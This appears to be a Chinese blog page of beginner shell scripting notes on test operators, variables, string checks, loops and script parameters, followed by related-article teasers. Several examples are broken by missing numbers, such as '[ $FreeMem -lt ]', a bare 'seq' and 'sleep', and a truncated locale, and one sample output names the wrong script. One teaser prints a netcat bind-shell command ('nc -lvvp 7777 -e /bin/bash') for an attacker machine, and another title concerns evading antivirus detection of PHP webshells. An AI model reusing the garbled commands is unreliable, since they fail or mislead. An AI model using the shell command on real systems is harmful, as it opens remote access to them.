shell小结
一 判断
-d 测试是否为目录。
-f 判断是否为文件。 -s 判断文件是否为空 如果不为空 则返回0,否则返回1
-e 测试文件或目录是否存在。
-r 测试当前用户是否有权限读取。
-w 测试当前用户是否有权限写入。
-x 测试当前用户是否有权限执行。
语法:
[ -d /etc/fstab ]
且 或 非
&& 逻辑的与,"而且"的意思。
|| 逻辑的或,"或者"的意思。
! 逻辑的否 [ $USER != root ] && echo "user"
[ $USER != root ] && echo "user" || echo "root" -eq 判断是否等于
-ne 判断是否不等于
-gt 判断是否大于
-lt 判断是否小于
-le 判断是否等于或小于
-ge 判断是否大于或等于 [ -gt ]
二 变量
[root@lanny ~]# FreeMem=`free -m | grep cache: | awk '{print $3}'`
验证变量是否已经获得可用内存量:
[root@lanny ~]# echo $FreeMem
告警内存不够用:
[root@lanny ~]# [ $FreeMem -lt ] && echo "Insufficient Memory"
Insufficient Memory
三 字符串
= 比较字符串内容是否相同。
!= 比较字符串内容是否不同。
-z 判断字符串内容是否为空。 ----->从而判断变量是否被定义.
[ -n "$var" ] :判断$var变量是否有值->已经定义?
判断String变量是否为空值: [root@lanny ~]# [ -z $String ] 上一条命令执行成功,说明变量String确实为空值:
[root@lanny ~]# echo $? 输出当前的系统语言:
[root@lanny ~]# echo $LANG
en_US.UTF- 判断当前的系统语言是否为英文,否则输出“不是英语”:
[root@lanny ~]# [ $LANG != "en.US" ] && echo "Not en.US"
Not en.US
四 语句
if then fi
for do done
while do done .1判断语句
if [ -f /home/ ];then
echo ok;
fi
.2循环语句
for i in `seq `;do
echo $i
done while :;do
echo `date`
sleep
done
五 参数:
$? 显示上一条命令的返回值,非0则为失败,即不是目录
$ 第一个参数
[root@lanny ~]# vim test.sh
#!/bin/bash
echo "当前脚本名称为$0"
echo "总共有$#个参数,分别是$*。"
echo "第1个参数为$1,第5个为$5。 [root@lanny ~]# sh test.sh one two three four five six
当前脚本名称为Example.sh
总共有6个参数,分别是one two three four five six。
第1个参数为one,第5个为five。
shell小结的更多相关文章
- 反弹Shell小结
1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc server-ip 7777 1.2.反向反弹shell 攻击机 nc ...
- [sh]shell小结
一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户 ...
- 小鸟初学Shell编程(六)变量赋值
变量的意义 我们在使用Linux命令或脚本的时候,会有一些输出,那么这些输出的信息可以用变量临时存储,以备我们下一条命令或脚本使用. 变量的定义 变量的定义建议用一个有意义的英文单词来代表变量,不要使 ...
- hctf2016 fheap学习(FlappyPig队伍的解法)
目录 漏洞原理 二次释放 如何在第二次释放前修改函数地址 fastbin的特性 修改函数指针流程 如何获得进程的加载基址 格式化字符串漏洞 确定printf函数在代码段中偏移 printf函数输出想要 ...
- Beginning Linux Programming 学习-chapter2-Shell programming-Pipes and Redirection
"为了从事创造性工作,人类需要孤独,可是在孤独中,广义的人类仍存在于内心."--(德国)奥铿 ...
- PHP木马免杀的一些总结
前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...
- shell脚本中各类括号的作用(小结)
技巧小结: 字符串比较用双中括号[[ ]]:算数比较用单中括号[ ]——左右留空格 算数运算用双小括号(( )) :shell命令及输出用小括号( )——左右不留空格 快速替换用花括号{ }——左右留 ...
- shell 环境变量的知识小结
环境变量的知识小结:·变量名通常要大写.·变量可以在自身的Shell及子Shell中使用.·常用export来定义环境变量.·执行env默认可以显示所有的环境变量名称及对应的值.·输出时用“$变量名” ...
- python中执行shell命令的几个方法小结(转载)
转载:http://www.jb51.net/article/55327.htm python中执行shell命令的几个方法小结 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014- ...
随机推荐
- MAC中安卓开发环境的下载(转)
今天终于为我的Macbook Pro Retina搭建好了Android开发环境,几经折磨,差点放弃了: 总结如下:1.最好选择ADT Bundle,这里面已经集成好了Eclipse.ADT.Andr ...
- 关灯游戏源码(iOS)
就是点一下灯 它本身和周围4盏灯会变色 ViewController.m文件 #import "ViewController.h" #import "UIView+cha ...
- 不小心改了Xcode系统的头文件,运行报错,解决办法
- 实验:传输层:TCP协议
一.概述 TCP和UDP处在同一层——运输层,但是它们有很多的不同.TCP是TCP/IP系列协议中最复杂的部分,它具有以下特点: (1) TCP提供 可靠的 数据传输服务,TCP是 面向连接的 .应用 ...
- 谷歌浏览器 模拟微信浏览器user-agent
1.F12 2.Elments->Emulation Media: Other Network:Mozilla/5.0 (Linux; Android 4.4.4; HM NOTE 1LT ...
- PHP实例学习之————MVC架构模式分析与设计
写博客,不容易,你们的评论和转载,就是我的动力, 但请注明出处,隔壁老王的开发园:http://www.cnblogs.com/titibili 2016年1月31日 18:53 作者:Ygirl ...
- 关于String StringBuffer StringBuilder
0. String对象的创建 1.关于类对象的创建,很普通的一种方式就是利用构造器,String类也不例外:String s=new String("Hello world&qu ...
- Android中手机号、车牌号正则表达式
手机号 手机号的号段说明转载自:国内手机号码的正则表达式|蜗牛的积累 手机名称有GSM:表示只支持中国联通或者中国移动2G号段(130.131.132.134.135.136.137.138.139. ...
- Armstrong数
题目描述 在三位的整数中,例如153可以满足1^3 + 5^3 + 3^3 = 153,这样的数称之为Armstrong数.将所有的Armstrong数按小到大排序,试写出一程序找出指定序号的三位Ar ...
- apache配置虚拟目录
#虚拟目录配置 <IfModule dir_module> DirectoryIndex index.html index.htm index.php Alias /htdocs &quo ...